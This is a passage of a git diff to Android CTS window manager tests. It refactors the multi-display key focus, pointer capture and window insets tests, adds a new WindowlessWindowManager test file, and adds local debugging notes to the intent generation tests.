import static android.view.KeyEvent.ACTION_DOWN;
@@ -39,20 +36,15 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
-import android.content.Context;
import android.content.res.Configuration;
import android.graphics.Canvas;
-import android.graphics.PixelFormat;
import android.graphics.Point;
import android.hardware.display.DisplayManager;
-import android.hardware.display.VirtualDisplay;
-import android.media.ImageReader;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
-import android.view.Display;
import android.view.KeyEvent;
import android.view.MotionEvent;
import android.view.View;
@@ -119,18 +111,6 @@
getInstrumentation().sendPointerSync(upEvent);
}
- /** Checks if the device supports multi-display. */
- private static boolean supportsMultiDisplay() {
- return getInstrumentation().getTargetContext().getPackageManager()
- .hasSystemFeature(FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS);
- }
-
- /** Checks if per-display-focus is enabled in the device. */
- private static boolean perDisplayFocusEnabled() {
- return getInstrumentation().getTargetContext().getResources()
- .getBoolean(android.R.bool.config_perDisplayFocusEnabled);
- }
-
/**
* Test the following conditions:
* - Each display can have a focused window at the same time.
@@ -140,25 +120,29 @@
* - The window which lost top-focus can receive display-unspecified cancel events.
*/
@Test
- @FlakyTest(bugId = 131005232)
- public void testKeyReceiving() throws InterruptedException {
+ public void testKeyReceiving() throws Exception {
final PrimaryActivity primaryActivity = startActivity(PrimaryActivity.class,
DEFAULT_DISPLAY);
sendAndAssertTargetConsumedKey(primaryActivity, KEYCODE_0, INVALID_DISPLAY);
sendAndAssertTargetConsumedKey(primaryActivity, KEYCODE_1, DEFAULT_DISPLAY);
assumeTrue(supportsMultiDisplay());
- // If config_perDisplayFocusEnabled, tapping on a display will not move the focus.
- assumeFalse(perDisplayFocusEnabled());
try (VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
- final int secondaryDisplayId = displaySession.createDisplay(
- getInstrumentation().getTargetContext()).getDisplayId();
+ final ActivityManagerState.DisplayContent display = displaySession
+ .setPublicDisplay(true).setSimulateDisplay(true).createDisplay();
+ final int secondaryDisplayId = display.mId;
final SecondaryActivity secondaryActivity =
startActivity(SecondaryActivity.class, secondaryDisplayId);
sendAndAssertTargetConsumedKey(secondaryActivity, KEYCODE_2, INVALID_DISPLAY);
sendAndAssertTargetConsumedKey(secondaryActivity, KEYCODE_3, secondaryDisplayId);
- primaryActivity.waitAndAssertWindowFocusState(false /* hasFocus */);
+ final boolean perDisplayFocusEnabled = perDisplayFocusEnabled();
+ if (perDisplayFocusEnabled) {
+ primaryActivity.assertWindowFocusState(true /* hasFocus */);
+ sendAndAssertTargetConsumedKey(primaryActivity, KEYCODE_4, DEFAULT_DISPLAY);
+ } else {
+ primaryActivity.waitAndAssertWindowFocusState(false /* hasFocus */);
+ }
// Press display-unspecified keys and a display-specified key but not release them.
sendKey(ACTION_DOWN, KEYCODE_5, INVALID_DISPLAY);
@@ -175,7 +159,9 @@
// key events sent to secondary activity would be cancelled.
secondaryActivity.waitAssertAndConsumeKeyEvent(ACTION_UP, KEYCODE_5, FLAG_CANCELED);
secondaryActivity.waitAssertAndConsumeKeyEvent(ACTION_UP, KEYCODE_7, FLAG_CANCELED);
- secondaryActivity.waitAssertAndConsumeKeyEvent(ACTION_UP, KEYCODE_6, FLAG_CANCELED);
+ if (!perDisplayFocusEnabled) {
+ secondaryActivity.waitAssertAndConsumeKeyEvent(ACTION_UP, KEYCODE_6, FLAG_CANCELED);
+ }
assertEquals(secondaryActivity.getLogTag() + " must only receive expected events.",
0 /* expected event count */, secondaryActivity.getKeyEventCount());
@@ -188,8 +174,7 @@
* Test if a display targeted by a key event can be moved to top in a single-focus system.
*/
@Test
- @FlakyTest(bugId = 131005232)
- public void testMovingDisplayToTopByKeyEvent() throws InterruptedException {
+ public void testMovingDisplayToTopByKeyEvent() throws Exception {
assumeTrue(supportsMultiDisplay());
assumeFalse(perDisplayFocusEnabled());
@@ -197,8 +182,9 @@
DEFAULT_DISPLAY);
try (VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
- final int secondaryDisplayId = displaySession.createDisplay(
- getInstrumentation().getTargetContext()).getDisplayId();
+ final ActivityManagerState.DisplayContent display = displaySession
+ .setPublicDisplay(true).setSimulateDisplay(true).createDisplay();
+ final int secondaryDisplayId = display.mId;
final SecondaryActivity secondaryActivity =
startActivity(SecondaryActivity.class, secondaryDisplayId);
@@ -232,7 +218,7 @@
*/
@Test
@FlakyTest(bugId = 135574991)
- public void testPointerCapture() throws InterruptedException {
+ public void testPointerCapture() throws Exception {
final PrimaryActivity primaryActivity = startActivity(PrimaryActivity.class,
DEFAULT_DISPLAY);
@@ -241,10 +227,10 @@
primaryActivity.waitAndAssertPointerCaptureState(true /* hasCapture */);
assumeTrue(supportsMultiDisplay());
- assumeFalse(perDisplayFocusEnabled());
try (VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
- final int secondaryDisplayId = displaySession.createDisplay(
- getInstrumentation().getTargetContext()).getDisplayId();
+ final ActivityManagerState.DisplayContent display = displaySession
+ .setPublicDisplay(true).setSimulateDisplay(true).createDisplay();
+ final int secondaryDisplayId = display.mId;
final SecondaryActivity secondaryActivity =
startActivity(SecondaryActivity.class, secondaryDisplayId);
@@ -266,7 +252,7 @@
* Test if the focused window can still have focus after it is moved to another display.
*/
@Test
- public void testDisplayChanged() throws InterruptedException {
+ public void testDisplayChanged() throws Exception {
assumeTrue(supportsMultiDisplay());
final PrimaryActivity primaryActivity = startActivity(PrimaryActivity.class,
@@ -274,9 +260,13 @@
final SecondaryActivity secondaryActivity;
try (VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
- final int secondaryDisplayId = displaySession.createDisplay(
- getInstrumentation().getTargetContext()).getDisplayId();
- secondaryActivity = startActivity(SecondaryActivity.class, secondaryDisplayId);
+ final ActivityManagerState.DisplayContent display = displaySession
+ .setPublicDisplay(true).createDisplay();
+ final int secondaryDisplayId = display.mId;
+ // For launching activity on untrusted display, by default the activity will not get
+ // focus for security concern.
+ secondaryActivity = startActivity(SecondaryActivity.class, secondaryDisplayId,
+ false /* hasFocus */);
}
// Secondary display disconnected.
@@ -292,15 +282,16 @@
* that display.
*/
@Test
- public void testTapFocusableWindow() throws InterruptedException {
+ public void testTapFocusableWindow() throws Exception {
assumeTrue(supportsMultiDisplay());
assumeFalse(perDisplayFocusEnabled());
PrimaryActivity primaryActivity = startActivity(PrimaryActivity.class, DEFAULT_DISPLAY);
try (VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
- final int secondaryDisplayId = displaySession.createDisplay(
- getInstrumentation().getTargetContext()).getDisplayId();
+ final ActivityManagerState.DisplayContent display = displaySession
+ .setPublicDisplay(true).setSimulateDisplay(true).createDisplay();
+ final int secondaryDisplayId = display.mId;
SecondaryActivity secondaryActivity = startActivity(SecondaryActivity.class,
secondaryDisplayId);
@@ -316,16 +307,16 @@
* window on that display.
*/
@Test
- @FlakyTest(bugId = 130467737)
- public void testTapNonFocusableWindow() throws InterruptedException {
+ public void testTapNonFocusableWindow() throws Exception {
assumeTrue(supportsMultiDisplay());
assumeFalse(perDisplayFocusEnabled());
PrimaryActivity primaryActivity = startActivity(PrimaryActivity.class, DEFAULT_DISPLAY);
try (VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
- final int secondaryDisplayId = displaySession.createDisplay(
- getInstrumentation().getTargetContext()).getDisplayId();
+ final ActivityManagerState.DisplayContent display = displaySession
+ .setPublicDisplay(true).setSimulateDisplay(true).createDisplay();
+ final int secondaryDisplayId = display.mId;
SecondaryActivity secondaryActivity = startActivity(SecondaryActivity.class,
secondaryDisplayId);
@@ -347,7 +338,7 @@
}
private static class InputTargetActivity extends FocusableActivity {
- private static final long TIMEOUT_DISPLAY_CHANGED = 1000; // milliseconds
+ private static final long TIMEOUT_DISPLAY_CHANGED = 5000; // milliseconds
private static final long TIMEOUT_POINTER_CAPTURE_CHANGED = 1000;
private static final long TIMEOUT_NEXT_KEY_EVENT = 1000;
@@ -490,36 +481,4 @@
}
}
}
-
- private static class VirtualDisplaySession implements AutoCloseable {
- private static final int WIDTH = 800;
- private static final int HEIGHT = 480;
- private static final int DENSITY = 160;
-
- private VirtualDisplay mVirtualDisplay;
- private ImageReader mReader;
-
- Display createDisplay(Context context) {
- if (mReader != null) {
- throw new IllegalStateException(
- "Only one display can be created during this session.");
- }
- mReader = ImageReader.newInstance(WIDTH, HEIGHT, PixelFormat.RGBA_8888,
- 2 /* maxImages */);
- mVirtualDisplay = context.getSystemService(DisplayManager.class).createVirtualDisplay(
- "CtsDisplay", WIDTH, HEIGHT, DENSITY, mReader.getSurface(),
- VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY);
- return mVirtualDisplay.getDisplay();
- }
-
- @Override
- public void close() {
- if (mVirtualDisplay != null) {
- mVirtualDisplay.release();
- }
- if (mReader != null) {
- mReader.close();
- }
- }
- }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
index 55932cc..390de30 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
@@ -16,10 +16,12 @@
package android.server.wm;
-import static android.server.wm.UiDeviceUtils.pressHomeButton;
+import static android.server.wm.ActivityManagerTestBase.launchHomeActivityNoWait;
import static android.server.wm.UiDeviceUtils.pressUnlockButton;
import static android.server.wm.UiDeviceUtils.pressWakeupButton;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
import static org.junit.Assert.assertEquals;
import android.app.Activity;
@@ -31,8 +33,6 @@
import android.view.WindowInsets;
import android.view.WindowManager;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.FlakyTest;
import androidx.test.rule.ActivityTestRule;
import com.android.compatibility.common.util.CtsTouchUtils;
@@ -48,7 +48,6 @@
* Build/Install/Run:
* atest CtsWindowManagerDeviceTestCases:WindowInputTests
*/
-@FlakyTest
public class WindowInputTests {
private final int TOTAL_NUMBER_OF_CLICKS = 100;
private final ActivityTestRule<Activity> mActivityRule = new ActivityTestRule<>(Activity.class);
@@ -64,9 +63,9 @@
public void setUp() {
pressWakeupButton();
pressUnlockButton();
- pressHomeButton();
+ launchHomeActivityNoWait();
- mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mInstrumentation = getInstrumentation();
mActivity = mActivityRule.launchActivity(null);
mInstrumentation.waitForIdleSync();
mClickCount = 0;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
index ba63060..fa6212f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsPolicyTest.java
@@ -21,7 +21,6 @@
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
-import static android.server.wm.app.Components.TEST_ACTIVITY;
import static android.view.Display.DEFAULT_DISPLAY;
import static android.view.Surface.ROTATION_0;
import static android.view.Surface.ROTATION_90;
@@ -38,12 +37,10 @@
import android.graphics.Insets;
import android.os.Bundle;
import android.platform.test.annotations.Presubmit;
-import android.util.Log;
import android.view.View;
import android.view.ViewGroup;
import android.view.Window;
import android.view.WindowInsets;
-import android.view.WindowManager;
import android.view.WindowManager.LayoutParams;
import androidx.test.rule.ActivityTestRule;
@@ -54,7 +51,6 @@
import org.hamcrest.Matcher;
import org.junit.Assert;
import org.junit.Before;
-import org.junit.BeforeClass;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.ErrorCollector;
@@ -121,44 +117,43 @@
supportsSplitScreenMultiWindow());
mAmWmState.computeState(new ComponentName[] {});
- boolean naturalOrientationPortrait =
+ final boolean naturalOrientationPortrait =
mAmWmState.getWmState().getDisplay(DEFAULT_DISPLAY)
.mFullConfiguration.orientation == ORIENTATION_PORTRAIT;
- try (final RotationSession rotationSession = new RotationSession()) {
- rotationSession.set(naturalOrientationPortrait ? ROTATION_90 : ROTATION_0);
+ final RotationSession rotationSession = createManagedRotationSession();
+ rotationSession.set(naturalOrientationPortrait ? ROTATION_90 : ROTATION_0);
- launchActivityInSplitScreenWithRecents(LAUNCHING_ACTIVITY);
- final TestActivity activity = launchAndWait(mTestActivity);
- mAmWmState.computeState(mTestActivityComponentName);
+ launchActivityInSplitScreenWithRecents(LAUNCHING_ACTIVITY);
+ final TestActivity activity = launchAndWait(mTestActivity);
+ mAmWmState.computeState(mTestActivityComponentName);
- mAmWmState.assertContainsStack("Must contain fullscreen stack.",
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
- mAmWmState.assertContainsStack("Must contain docked stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
- mAmWmState.computeState(LAUNCHING_ACTIVITY, mTestActivityComponentName);
+ mAmWmState.computeState(LAUNCHING_ACTIVITY, mTestActivityComponentName);
- // Ensure that top insets are not consumed for LAYOUT_FULLSCREEN
- WindowInsets insets = getOnMainSync(activity::getDispatchedInsets);
- WindowInsets rootInsets = getOnMainSync(activity::getRootInsets);
- assertEquals("top inset must be dispatched in split screen",
- rootInsets.getSystemWindowInsetTop(), insets.getSystemWindowInsetTop());
+ // Ensure that top insets are not consumed for LAYOUT_FULLSCREEN
+ WindowInsets insets = getOnMainSync(activity::getDispatchedInsets);
+ final WindowInsets rootInsets = getOnMainSync(activity::getRootInsets);
+ assertEquals("top inset must be dispatched in split screen",
+ rootInsets.getSystemWindowInsetTop(), insets.getSystemWindowInsetTop());
- // Ensure that top insets are fully consumed for FULLSCREEN
- final TestActivity fullscreenActivity = launchAndWait(mFullscreenTestActivity);
- insets = getOnMainSync(fullscreenActivity::getDispatchedInsets);
- assertEquals("top insets must be consumed if FULLSCREEN is set",
- 0, insets.getSystemWindowInsetTop());
+ // Ensure that top insets are fully consumed for FULLSCREEN
+ final TestActivity fullscreenActivity = launchAndWait(mFullscreenTestActivity);
+ insets = getOnMainSync(fullscreenActivity::getDispatchedInsets);
+ assertEquals("top insets must be consumed if FULLSCREEN is set",
+ 0, insets.getSystemWindowInsetTop());
- // Ensure that top insets are fully consumed for FULLSCREEN when setting it over wm
- // layout params
- final TestActivity fullscreenWmFlagsActivity =
- launchAndWait(mFullscreenWmFlagsTestActivity);
- insets = getOnMainSync(fullscreenWmFlagsActivity::getDispatchedInsets);
- assertEquals("top insets must be consumed if FULLSCREEN is set",
- 0, insets.getSystemWindowInsetTop());
- }
+ // Ensure that top insets are fully consumed for FULLSCREEN when setting it over wm
+ // layout params
+ final TestActivity fullscreenWmFlagsActivity =
+ launchAndWait(mFullscreenWmFlagsTestActivity);
+ insets = getOnMainSync(fullscreenWmFlagsActivity::getDispatchedInsets);
+ assertEquals("top insets must be consumed if FULLSCREEN is set",
+ 0, insets.getSystemWindowInsetTop());
}
private void commonAsserts(WindowInsets insets) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
index 3490e00..7f793f8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
@@ -17,12 +17,12 @@
package android.server.wm;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-import static android.server.wm.UiDeviceUtils.pressHomeButton;
+import static android.server.wm.ActivityManagerTestBase.launchHomeActivityNoWait;
import static android.server.wm.UiDeviceUtils.pressUnlockButton;
import static android.server.wm.UiDeviceUtils.pressWakeupButton;
import static android.view.Display.DEFAULT_DISPLAY;
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.assertEquals;
@@ -31,33 +31,46 @@
import android.content.Intent;
import android.os.Bundle;
+import com.android.compatibility.common.util.SystemUtil;
+
import org.junit.Before;
+import java.lang.reflect.Array;
+import java.util.ArrayList;
+import java.util.List;
+
import javax.annotation.concurrent.GuardedBy;
-public class WindowManagerTestBase {
+public class WindowManagerTestBase extends MultiDisplayTestBase {
static final long TIMEOUT_WINDOW_FOCUS_CHANGED = 1000; // milliseconds
@Before
public void setupBase() {
pressWakeupButton();
pressUnlockButton();
- pressHomeButton();
+ launchHomeActivityNoWait();
}
- static <T extends FocusableActivity> T startActivity(Class<T> cls) throws InterruptedException {
+ static <T extends FocusableActivity> T startActivity(Class<T> cls) {
return startActivity(cls, DEFAULT_DISPLAY);
}
- static <T extends FocusableActivity> T startActivity(Class<T> cls, int displayId)
- throws InterruptedException {
+ static <T extends FocusableActivity> T startActivity(Class<T> cls, int displayId,
+ boolean hasFocus) {
final Bundle options = (displayId == DEFAULT_DISPLAY
? null : ActivityOptions.makeBasic().setLaunchDisplayId(displayId).toBundle());
- final T activity = (T) getInstrumentation().startActivitySync(
- new Intent(getInstrumentation().getTargetContext(), cls)
- .addFlags(FLAG_ACTIVITY_NEW_TASK), options);
- activity.waitAndAssertWindowFocusState(true /* hasFocus */);
- return activity;
+ final T[] activity = (T[]) Array.newInstance(FocusableActivity.class, 1);
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ activity[0] = (T) getInstrumentation().startActivitySync(
+ new Intent(getInstrumentation().getTargetContext(), cls)
+ .addFlags(FLAG_ACTIVITY_NEW_TASK), options);
+ activity[0].waitAndAssertWindowFocusState(hasFocus);
+ });
+ return activity[0];
+ }
+
+ static <T extends FocusableActivity> T startActivity(Class<T> cls, int displayId) {
+ return startActivity(cls, displayId, true /* hasFocus */);
}
static class FocusableActivity extends Activity {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java
index 9d05c45..3d3b687 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowTest.java
@@ -413,9 +413,9 @@
public void testSetBackgroundDrawable() throws Throwable {
// DecorView holds the background
View decor = mWindow.getDecorView();
- if (!mWindow.hasFeature(Window.FEATURE_SWIPE_TO_DISMISS)) {
- assertEquals(PixelFormat.OPAQUE, decor.getBackground().getOpacity());
- }
+
+ assertEquals(PixelFormat.OPAQUE, decor.getBackground().getOpacity());
+
// setBackgroundDrawableResource(int resId) has the same
// functionality with setBackgroundDrawable(Drawable drawable), just different in
// parameter.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowlessWmTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowlessWmTests.java
new file mode 100644
index 0000000..2f9fb24
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowlessWmTests.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm;
+
+import static android.server.wm.UiDeviceUtils.pressHomeButton;
+import static android.server.wm.UiDeviceUtils.pressUnlockButton;
+import static android.server.wm.UiDeviceUtils.pressWakeupButton;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.graphics.PixelFormat;
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.view.Gravity;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.SurfaceHolder;
+import android.view.SurfaceHolder.Callback;
+import android.view.WindowInsets;
+import android.view.WindowManager;
+import android.view.WindowlessViewRoot;
+import android.widget.FrameLayout;
+import android.widget.Button;
+
+import android.view.SurfaceView;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.CtsTouchUtils;
+
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Ensure end-to-end functionality of the WindowlessWindowManager.
+ *
+ * Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:WindowlessWmTests
+ */
+@Presubmit
+@FlakyTest
+public class WindowlessWmTests implements SurfaceHolder.Callback {
+ private final ActivityTestRule<Activity> mActivityRule = new ActivityTestRule<>(Activity.class);
+
+ private Instrumentation mInstrumentation;
+ private Activity mActivity;
+ private SurfaceView mSurfaceView;
+
+ private WindowlessViewRoot mVr;
+ private View mEmbeddedView;
+
+ private boolean mClicked = false;
+
+ /*
+ * Configurable state to control how the surfaceCreated callback
+ * will initialize the embedded view hierarchy.
+ */
+ int mEmbeddedViewWidth = 100;
+ int mEmbeddedViewHeight = 100;
+
+ private static final int DEFAULT_SURFACE_VIEW_WIDTH = 100;
+ private static final int DEFAULT_SURFACE_VIEW_HEIGHT = 100;
+
+ @Before
+ public void setUp() {
+ pressWakeupButton();
+ pressUnlockButton();
+ pressHomeButton();
+
+ mClicked = false;
+
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mActivity = mActivityRule.launchActivity(null);
+ mInstrumentation.waitForIdleSync();
+ }
+
+ private void addSurfaceView(int width, int height) throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ final FrameLayout content = new FrameLayout(mActivity);
+ mSurfaceView = new SurfaceView(mActivity);
+ mSurfaceView.setZOrderOnTop(true);
+ content.addView(mSurfaceView, new FrameLayout.LayoutParams(
+ width, height, Gravity.LEFT | Gravity.TOP));
+ mActivity.setContentView(content, new ViewGroup.LayoutParams(width, height));
+ mSurfaceView.getHolder().addCallback(this);
+ });
+ }
+
+ private void addViewToSurfaceView(SurfaceView sv, View v, int width, int height) {
+ mVr = new WindowlessViewRoot(mActivity, mActivity.getDisplay(),
+ sv.getSurfaceControl(), sv.getInputToken());
+ WindowManager.LayoutParams lp = new WindowManager.LayoutParams(width, height,
+ WindowManager.LayoutParams.TYPE_APPLICATION, 0, PixelFormat.OPAQUE);
+ mVr.addView(v, lp);
+ }
+
+ @Override
+ public void surfaceCreated(SurfaceHolder holder) {
+ addViewToSurfaceView(mSurfaceView, mEmbeddedView,
+ mEmbeddedViewWidth, mEmbeddedViewHeight);
+ }
+
+ @Override
+ public void surfaceDestroyed(SurfaceHolder holder) {
+ }
+
+ @Override
+ public void surfaceChanged(SurfaceHolder holder, int format, int width,
+ int height) {
+ }
+
+ @Test
+ public void testEmbeddedViewReceivesInput() throws Throwable {
+ mEmbeddedView = new Button(mActivity);
+ mEmbeddedView.setOnClickListener((View v) -> {
+ mClicked = true;
+ });
+
+ addSurfaceView(DEFAULT_SURFACE_VIEW_WIDTH, DEFAULT_SURFACE_VIEW_HEIGHT);
+ mInstrumentation.waitForIdleSync();
+
+ CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mSurfaceView);
+ assertTrue(mClicked);
+ }
+
+ @Test
+ public void testEmbeddedViewResizes() throws Throwable {
+ mEmbeddedView = new Button(mActivity);
+ mEmbeddedView.setOnClickListener((View v) -> {
+ mClicked = true;
+ });
+
+ final int bigEdgeLength = mEmbeddedViewWidth * 3;
+
+ // We make the SurfaceView more than twice as big as the embedded view
+ // so that a touch in the middle of the SurfaceView won't land
+ // on the embedded view.
+ addSurfaceView(bigEdgeLength, bigEdgeLength);
+ mInstrumentation.waitForIdleSync();
+
+ CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mSurfaceView);
+ assertFalse(mClicked);
+
+ mActivityRule.runOnUiThread(() -> {
+ WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
+ bigEdgeLength, bigEdgeLength,
+ WindowManager.LayoutParams.TYPE_APPLICATION, 0, PixelFormat.OPAQUE);
+ mVr.relayout(lp);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ // But after the click should hit.
+ CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mSurfaceView);
+ assertTrue(mClicked);
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
index 6b5600c..9ba003c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
@@ -77,4 +77,10 @@
public static class LauncherActivity extends Activity {
}
+
+ public static class RelinquishTaskIdentityActivity extends Activity {
+ }
+
+ public static class TaskAffinity1RelinquishTaskIdentityActivity extends Activity {
+ }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentGenerationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentGenerationTests.java
index fcbd865..396ead6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentGenerationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentGenerationTests.java
@@ -63,6 +63,17 @@
*
* Build/Install/Run:
* atest CtsWindowManagerDeviceTestCases:IntentGenerationTests
+ *
+ *
+ * <p>NOTE: It is also possible to use this to manually verify a single test (useful for local
+ * debugging). To do that:
+ * 1. Put the correct test name in {@link #verifySingle()} and remove the @Ignore annotation
+ * 2. Push the file under test to device, e.g.
+ * adb shell mkdir /storage/emulated/0/Documents/relinquishTaskIdentity/
+ * adb push cts/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/test-0.json /storage/emulated/0/Documents/relinquishTaskIdentity/
+ * 3. Run the test
+ * atest CtsWindowManagerDeviceTestCases:IntentGenerationTests#verifySingle
+ * </p>
*/
public class IntentGenerationTests extends IntentTestBase {
private static final Cases CASES = new Cases();
@@ -106,9 +117,11 @@
* @throws JSONException if the file has invalid json in it.
*/
@Test
+ // Comment the following line to test locally
@Ignore
public void verifySingle() throws IOException, JSONException {
- String test = "forResult/test-1.json";
+ // Replace this line with the test you need
+ String test = "relinquishTaskIdentity/test-0.json";
TestCase testCase = readFromStorage(test);
mLaunchRunner.verify(mTargetContext, testCase);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java
index 887d599..4256f9f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/IntentTestBase.java
@@ -36,17 +36,15 @@
* @param activitiesInUsedInTest activities that should be gone after tearDown
*/
public void cleanUp(List<ComponentName> activitiesInUsedInTest) throws Exception {
- super.tearDown();
- UiDeviceUtils.pressHomeButton();
+ launchHomeActivityNoWait();
removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
this.getAmWmState().waitForWithAmState(
state -> state.containsNoneOf(activitiesInUsedInTest),
- "Waiting for activity to be removed");
+ "activity to be removed");
}
@After
- @Override
public void tearDown() throws Exception {
cleanUp(activitiesUsedInTest());
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
index b7b34d8..9357e99 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/LaunchRunner.java
@@ -317,7 +317,7 @@
SystemClock.sleep(BEFORE_DUMP_TIMEOUT);
mTestBase.getAmWmState().waitForWithAmState(
am -> StateDump.fromStacks(am.getStacks(), mBaseStacks).equals(expected),
- "Wait until the activity states match up with what we recorded");
+ "the activity states match up with what we recorded");
mTestBase.getAmWmState().computeState(activity.getComponentName());
List<ActivityManagerState.ActivityStack> endStateStacks =
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
index d2bb3ef..a615e8b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
@@ -16,6 +16,8 @@
package android.server.wm.lifecycle;
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.server.wm.StateLogger.log;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_ACTIVITY_RESULT;
@@ -33,9 +35,13 @@
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
